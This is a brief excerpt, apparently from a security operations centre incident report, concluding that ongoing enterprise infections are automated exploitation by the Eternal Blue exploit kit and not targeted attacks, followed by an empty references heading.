The infections which have been occurring lead vSOC to believe these are not necessarily targeted attacks, rather the infection vectors are exploited automatically by the Eternal Blue exploit kit against vulnerable systems within the enterprise.

References: